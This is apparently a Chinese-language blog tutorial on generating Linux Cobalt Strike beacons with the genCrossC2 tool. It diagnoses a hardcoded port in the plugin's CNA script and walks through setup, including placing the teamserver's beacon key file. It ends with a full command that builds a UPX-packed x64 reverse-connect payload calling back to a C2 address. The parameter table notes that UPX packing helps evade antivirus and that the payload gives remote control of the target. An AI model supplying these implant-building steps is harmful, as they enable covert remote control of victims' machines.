目录
[一、Linux Beacon生成问题描述](#一、Linux Beacon生成问题描述)
[二、Linux平台 Beacon生成解决方案](#二、Linux平台 Beacon生成解决方案)
由于CobaltStrike默认情况下并不支持生成linux的https beacon文件,需要使用genCrossC2生成多平台的beacon文件,但是图形化生成Linux Beacon文件有时候会失败,本文分析其不可用的原因,并给出解决办法。
一、Linux Beacon生成问题描述
在使用genCrossC2图形化生成beacon的方法中,无论如何配置端口均不生效,监听的端口一直都是CS服务器的IP地址192.168.59.128以及端口号4444,效果如下所示。

这是因为cna文件这个配置文件将lhost和lport配置为固定内容,如下所示。

在代码的createCrossC2ListenerDialogCallBack函数中,当创建 HTTPS 类型的 Listener 时,存在硬编码的端口配置,这里明确指定了port => 4444,即 Listener 的本地监听端口被硬编码为 4444,未通过用户输入或配置动态修改。故而即使配置了lport,其配置依旧不生效:
listener_create_ext(
"CrossC2 reverse HTTPS { $listener }{ $system $arch }",
"windows/beacon_bind_tcp",
%(host => "127.0.0.1", port => 4444, CrossC2Beacon => $c2Data, CrossC2libBeacon => $c2_libData)
);
二、Linux平台 Beacon生成解决方案
genCrossC2 是 Cobalt Strike 官方提供的 跨平台 Beacon 生成工具,支持生成 Windows、Linux、macOS 等多种系统的 Beacon 载荷,适用于红队渗透测试和内网横向移动。其github网址如下所示。
https://github.com/gloxec/CrossC2
1、genCrossC2安装
**(1)**基础文件下载
在github下载Realse的Cross C2,这里选择v3.3-stable版本,如下图红框所示。

以本机为例,我计划在windows执行genCrossC2,故而需要下载win版本和cna配置文件,如下图红框所示。

(2)构建genCrossC2环境
将下载后的文件解压后放到同一文件夹,并将Cobalt Strike服务器生成(./teamserver 运行时自动创建)的 .cobaltstrike.beacon_keys密钥文件也放到文件夹中,如下所示。

.cobaltstrike.beacon_keys文件为CS服务端运行时生成,该文件的路径来源如下所示。

**(3)**修改cna配置文件
修改 CrossC2-GithubBot-2023-11-20.cna 配置,CC2_PATH 填当前脚本的绝对路径,CC2_BIN 填 genCrossC2.exe 相对于 $CC2_PATH 的相对路径,注意 windows 要用双反斜杠,效果如下所示。

2、genCrossC2使用
genCrossC2可以通过命令行和图形化两种方法生成,但是图形化方法有bug,默认的lhost为本机的vmnet8的ip地址且无法修改。只能配置为监听CS Server的本地ip地址对应的4444端口。对于一些特殊的监听ip地址不是本地ip地址,如CS Server使用虚拟机kali作为攻击机这种情况,图形化方法不可用,因为其无法指定非CS服务器的IP地址。
(1)图形化方法
Cross2插件的目录位置(D:\web\cs4.7\genCrossC2.Win),具体如下图所示。

修改 CrossC2-GithubBot-2-23-03-27.cna文件,用记事本打开,修改CC2_PATH和CC2_BIN路径,改为cs服务端genCrossC2.win的路径。

需要将插件CrossC2安装到cs中,依次点击cobaltstrike-脚本管理器,如下图所示。

选择我们的插件CrossC2.cna后载入,如下图所示。

选择插件后,菜单栏中即会出现cross2,使用它即可生成linux的Beacon,如下图所示。

点击菜单栏CrossC2直接生成linux的Beacon文件,操作方法CrossC2-Create CrossC2 Listener-Create reverse Https,效果如下所示。

在弹出的对话框中进行配置,默认的配置如下所示,很明显没有ip地址。

而且无论如何配置端口,命令使用默认继承的lhost和port进行reverse方法。故而选择不使用图示法,正常情况下其URLI应填写主机IP地址10.1.0.21,端口填10086,如下图所示。

无论如何修改,命令行如下所示,其host和port均为改变,图形化的方法只配置本地ip:4444端口的情况。

那么当想配置ip地址不是CS服务的本地IP地址,端口号非4444时,要如何进行配置呢,此时需要使用命令行方法进行指定,参考(5)。
(2)命令行方法
genCrossC2 是用于生成跨平台 C2 载荷的工具,其命令行使用需指定 genCrossC2.exe 程序及相关参数,基本用法如下:
genCrossC2.exe [C2 域名/IP] [端口] [beacon 密钥路径] [附加参数] [目标系统] [架构] [输出文件] [可选参数]
必选参数C2 域名/IP:攻击机(如 Kali)的 IP 或域名(如 192.168.59.128)端口:C2 监听端口(如 10086)beacon 密钥路径:CS的 beacon 密钥文件路径(如 ./.cobaltstrike.beacon_keys)目标系统:目标操作系统(如 Linux、MacOS、ESXI 或 Linux-bind)架构:目标架构(x64、x86、M1)输出文件:生成的载荷保存路径(如 /tmp/c2payload)
可选参数upx:使用 UPX 压缩载荷(需工具支持)raw:生成未压缩的原始载荷c2profile:指定 C2 配置文件路径(增强隐蔽性)
举例:如下命令生成一个经过 UPX 压缩的 64 位 Linux 反向连接载荷,当目标主机运行该载荷时,会主动连接 192.168.59.128 的 10086 端口,与 C2 服务器建立加密通信,实现对目标的远程控制。
genCrossC2.exe 192.168.59.128 10086 ./.cobaltstrike.beacon_keys Linux x64 cs_https_payload.out upx
| 序号 | 参数值 | 含义说明 |
|---|---|---|
| 1 | genCrossC2.exe | 跨平台 C2 载荷生成工具主程序,用于生成适配不同系统的 Cobalt Strike Beacon。 |
| 2 | 192.168.59.128 | C2 服务器(攻击机)的 IP 地址,生成的载荷将向此 IP 发起反向连接。 |
| 3 | 10086 | C2 服务器的监听端口,需与 Cobalt Strike 中配置的 Listener 端口保持一致。 |
| 4 | ./.cobaltstrike.beacon_keys | 指向 Cobalt Strike 的 beacon 密钥文件,用于载荷与 C2 服务器的加密通信验证。 |
| 5 | Linux | 指定目标操作系统为 Linux,生成适配 Linux 环境的载荷。 |
| 6 | x64 | 指定目标系统架构为 64 位,确保载荷在 64 位 Linux 系统上正常运行。 |
| 7 | cs_https_payload.out | 生成的载荷文件保存路径及名称(当前目录下的 cs_https_payload.out)。 |
| 8 | upx | 启用 UPX 压缩,减小载荷文件体积并增强一定程度规避杀软检测。 |